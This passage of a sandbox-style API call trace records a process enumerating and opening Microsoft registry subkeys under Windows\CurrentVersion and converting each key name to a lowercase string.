lpMultiByteStr=0x4ac0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="transaction server", lpUsedDefaultChar=0x0) returned 18 [0224.836] RegEnumKeyW (in: hKey=0x38, dwIndex=0x76, lpName=0x4ab930, cchName=0x104 | out: lpName="TV System Services") returned 0x0 [0224.836] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tv system services", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0224.836] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tv system services", cchWideChar=18, lpMultiByteStr=0x4ac120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tv system services", lpUsedDefaultChar=0x0) returned 18 [0224.836] RegEnumKeyW (in: hKey=0x38, dwIndex=0x77, lpName=0x4ab930, cchName=0x104 | out: lpName="uDRM") returned 0x0 [0224.836] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="udrm", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0224.836] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="udrm", cchWideChar=4, lpMultiByteStr=0x4ac0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="udrm", lpUsedDefaultChar=0x0) returned 4 [0224.836] RegEnumKeyW (in: hKey=0x38, dwIndex=0x78, lpName=0x4ab930, cchName=0x104 | out: lpName="Updates") returned 0x0 [0224.836] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="updates", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.836] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="updates", cchWideChar=7, lpMultiByteStr=0x4ac120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updates", lpUsedDefaultChar=0x0) returned 7 [0224.836] RegEnumKeyW (in: hKey=0x38, dwIndex=0x79, lpName=0x4ab930, cchName=0x104 | out: lpName="UPnP Device Host") returned 0x0 [0224.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="upnp device host", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0224.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="upnp device host", cchWideChar=16, lpMultiByteStr=0x4ac0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="upnp device host", lpUsedDefaultChar=0x0) returned 16 [0224.837] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7a, lpName=0x4ab930, cchName=0x104 | out: lpName="VBA") returned 0x0 [0224.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0224.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0x4ac120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vba", lpUsedDefaultChar=0x0) returned 3 [0224.837] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7b, lpName=0x4ab930, cchName=0x104 | out: lpName="Virtual Machine") returned 0x0 [0224.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="virtual machine", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0224.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="virtual machine", cchWideChar=15, lpMultiByteStr=0x4ac0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="virtual machine", lpUsedDefaultChar=0x0) returned 15 [0224.837] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7c, lpName=0x4ab930, cchName=0x104 | out: lpName="VisualStudio") returned 0x0 [0224.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0224.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0x4ac120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="visualstudio", lpUsedDefaultChar=0x0) returned 12 [0224.837] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7d, lpName=0x4ab930, cchName=0x104 | out: lpName="WAB") returned 0x0 [0224.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0224.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0x4ac0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wab", lpUsedDefaultChar=0x0) returned 3 [0224.837] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7e, lpName=0x4ab930, cchName=0x104 | out: lpName="WBEM") returned 0x0 [0224.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbem", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0224.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbem", cchWideChar=4, lpMultiByteStr=0x4ac120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wbem", lpUsedDefaultChar=0x0) returned 4 [0224.837] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7f, lpName=0x4ab930, cchName=0x104 | out: lpName="WIMMount") returned 0x0 [0224.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wimmount", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wimmount", cchWideChar=8, lpMultiByteStr=0x4ac0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wimmount", lpUsedDefaultChar=0x0) returned 8 [0224.837] RegEnumKeyW (in: hKey=0x38, dwIndex=0x80, lpName=0x4ab930, cchName=0x104 | out: lpName="Windows") returned 0x0 [0224.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.838] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x4ac120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows", lpUsedDefaultChar=0x0) returned 7 [0224.838] RegOpenKeyExW (in: hKey=0x38, lpSubKey="Windows", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0xc4) returned 0x0 [0224.838] RegCloseKey (hKey=0x38) returned 0x0 [0224.838] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x4ab930, cchName=0x104 | out: lpName="CurrentVersion") returned 0x0 [0224.838] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0224.838] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0x4ac0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentversion", lpUsedDefaultChar=0x0) returned 14 [0224.838] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentVersion", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x38) returned 0x0 [0224.838] RegCloseKey (hKey=0xc4) returned 0x0 [0224.838] RegEnumKeyW (in: hKey=0x38, dwIndex=0x0, lpName=0x4ab930, cchName=0x104 | out: lpName="App Management") returned 0x0 [0224.838] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app management", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0224.838] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app management", cchWideChar=14, lpMultiByteStr=0x4ac120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="app management", lpUsedDefaultChar=0x0) returned 14 [0224.838] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1, lpName=0x4ab930, cchName=0x104 | out: lpName="App Paths") returned 0x0 [0224.838] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app paths", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0224.838] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app paths", cchWideChar=9, lpMultiByteStr=0x4ac0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="app paths", lpUsedDefaultChar=0x0) returned 9 [0224.838] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2, lpName=0x4ab930, cchName=0x104 | out: lpName="Applets") returned 0x0 [0224.838] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.838] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0x4ac120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="applets", lpUsedDefaultChar=0x0) returned 7 [0224.838] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3, lpName=0x4ab930, cchName=0x104 | out: lpName="Audio") returned 0x0 [0224.838] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audio", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0224.838] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audio", cchWideChar=5, lpMultiByteStr=0x4ac0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audio", lpUsedDefaultChar=0x0) returned 5 [0224.838] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4, lpName=0x4ab930, cchName=0x104 | out: lpName="Authentication") returned 0x0 [0224.839] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="authentication", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0224.839] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="authentication", cchWideChar=14, lpMultiByteStr=0x4ac120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="authentication", lpUsedDefaultChar=0x0) returned 14 [0224.839] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5, lpName=0x4ab930, cchName=0x104 | out: lpName="BitLocker") returned 0x0 [0224.839] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitlocker", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0224.839] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitlocker", cchWideChar=9, lpMultiByteStr=0x4ac0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bitlocker", lpUsedDefaultChar=0x0) returned 9 [0224.839] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6, lpName=0x4ab930, cchName=0x104 | out: lpName="BITS") returned 0x0 [0224.839] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0224.839] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x4ac120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0224.839] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7, lpName=0x4ab930, cchName=0x104 | out: lpName="Component Based Servicing") returned 0x0 [0224.839] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="component based servicing", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0224.839] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="component based servicing", cchWideChar=25, lpMultiByteStr=0x4ac0d8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="component based servicing", lpUsedDefaultChar=0x0) returned 25 [0224.839] RegEnumKeyW (in: hKey=0x38, dwIndex=0x8, lpName=0x4ab930, cchName=0x104 | out: lpName="Control Panel") returned 0x0 [0224.839] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0224.839] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x4ac120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control panel", lpUsedDefaultChar=0x0) returned 13 [0224.839] RegEnumKeyW (in: hKey=0x38, dwIndex=0x9, lpName=0x4ab930, cchName=0x104 | out: lpName="Controls Folder") returned 0x0 [0224.839] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0224.839] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder", cchWideChar=15, lpMultiByteStr=0x4ac0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controls folder", lpUsedDefaultChar=0x0) returned 15 [0224.839] RegEnumKeyW (in: hKey=0x38, dwIndex=0xa, lpName=0x4ab930, cchName=0x104 | out: lpName="DateTime") returned 0x0 [0224.839] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datetime", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.839] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datetime", cchWideChar=8, lpMultiByteStr=0x4ac120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datetime", lpUsedDefaultChar=0x0) returned 8 [0224.839] RegEnumKeyW (in: hKey=0x38, dwIndex=0xb, lpName=0x4ab930, cchName=0x104 | out: lpName="Device Installer") returned 0x0 [0224.840] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device installer", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0224.840] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device installer", cchWideChar=16, lpMultiByteStr=0x4ac0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device installer", lpUsedDefaultChar=0x0) returned 16 [0224.840] RegEnumKeyW (in: hKey=0x38, dwIndex=0xc, lpName=0x4ab930, cchName=0x104 | out: lpName="Device Metadata") returned 0x0 [0224.840] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device metadata", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0224.840] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device metadata", cchWideChar=15, lpMultiByteStr=0x4ac120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device metadata", lpUsedDefaultChar=0x0) returned 15 [0224.840] RegEnumKeyW (in: hKey=0x38, dwIndex=0xd, lpName=0x4ab930, cchName=0x104 | out: lpName="Diagnostics") returned 0x0 [0224.840] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagnostics", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0224.840] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagnostics", cchWideChar=11, lpMultiByteStr=0x4ac0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diagnostics", lpUsedDefaultChar=0x0) returned 11 [0224.840] RegEnumKeyW (in: hKey=0x38, dwIndex=0xe, lpName=0x4ab930, cchName=0x104 | out: lpName="DriverSearching") returned 0x0 [0224.840] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driversearching", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0224.840] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driversearching", cchWideChar=15, lpMultiByteStr=0x4ac120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driversearching", lpUsedDefaultChar=0x0) returned 15 [0224.840] RegEnumKeyW (in: hKey=0x38, dwIndex=0xf, lpName=0x4ab930, cchName=0x104 | out: lpName="EventCollector") returned 0x0 [0224.840] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventcollector", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0224.840] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventcollector", cchWideChar=14, lpMultiByteStr=0x4ac0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventcollector", lpUsedDefaultChar=0x0) returned 14 [0224.840] RegEnumKeyW (in: hKey=0x38, dwIndex=0x10, lpName=0x4ab930, cchName=0x104 | out: lpName="EventForwarding") returned 0x0 [0224.840] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventforwarding", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0224.840] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventforwarding", cchWideChar=15, lpMultiByteStr=0x4ac120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventforwarding", lpUsedDefaultChar=0x0) returned 15 [0224.841] RegEnumKeyW (in: hKey=0x38, dwIndex=0x11, lpName=0x4ab930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0224.841] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.841] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x4ac0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer", lpUsedDefaultChar=0x0) returned 8 [0224.841] RegEnumKeyW (in: hKey=0x38, dwIndex=0x12, lpName=0x4ab930, cchName=0x104 | out: lpName="Ext") returned 0x0 [0224.841] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ext", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0224.841] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ext", cchWideChar=3, lpMultiByteStr=0x4ac120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ext", lpUsedDefaultChar=0x0) returned 3 [0224.841] RegEnumKeyW (in: hKey=0x38, dwIndex=0x13, lpName=0x4ab930, cchName=0x104 | out: lpName="GameUX") returned 0x0 [0224.841] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gameux", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.841] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gameux", cchWideChar=6, lpMultiByteStr=0x4ac0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gameux", lpUsedDefaultChar=0x0) returned 6 [0224.841] RegEnumKeyW (in: hKey=0x38, dwIndex=0x14, lpName=0x4ab930, cchName=0x104 | out: lpName="Group Policy") returned 0x0 [0224.841] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="group policy", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0224.841] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="group policy", cchWideChar=12, lpMultiByteStr=0x4ac120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="group policy", lpUsedDefaultChar=0x0) returned 12 [0224.841] RegEnumKeyW (in: hKey=0x38, dwIndex=0x15, lpName=0x4ab930, cchName=0x104 | out: lpName="Hints") returned 0x0 [0224.841] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hints", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0224.841] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hints", cchWideChar=5, lpMultiByteStr=0x4ac0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hints", lpUsedDefaultChar=0x0) returned 5 [0224.841] RegEnumKeyW (in: hKey=0x38, dwIndex=0x16, lpName=0x4ab930, cchName=0x104 | out: lpName="HomeGroup") returned 0x0 [0224.841] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroup", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0224.841] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroup", cchWideChar=9, lpMultiByteStr=0x4ac120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegroup", lpUsedDefaultChar=0x0) returned 9 [0224.841] RegEnumKeyW (in: hKey=0x38, dwIndex=0x17, lpName=0x4ab930, cchName=0x104 | out: lpName="HotStart") returned 0x0 [0224.841] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hotstart", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.841] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hotstart", cchWideChar=8, lpMultiByteStr=0x4ac0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hotstart", lpUsedDefaultChar=0x0) returned 8 [0224.841] RegEnumKeyW (in: hKey=0x38, dwIndex=0x18, lpName=0x4ab930, cchName=0x104 | out: lpName="IME") returned 0x0 [0224.841] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0224.842] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0x4ac120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ime", lpUsedDefaultChar=0x0) returned 3 [0224.842] RegEnumKeyW (in: hKey=0x38, dwIndex=0x19, lpName=0x4ab930, cchName=0x104 | out: lpName="Installer") returned 0x0 [0224.842] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="installer", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0224.842] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="installer", cchWideChar=9, lpMultiByteStr=0x4ac0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="installer", lpUsedDefaultChar=0x0) returned 9 [0224.842] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1a, lpName=0x4ab930, cchName=0x104 | out: lpName="Internet Settings") returned 0x0 [0224.842] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet settings", 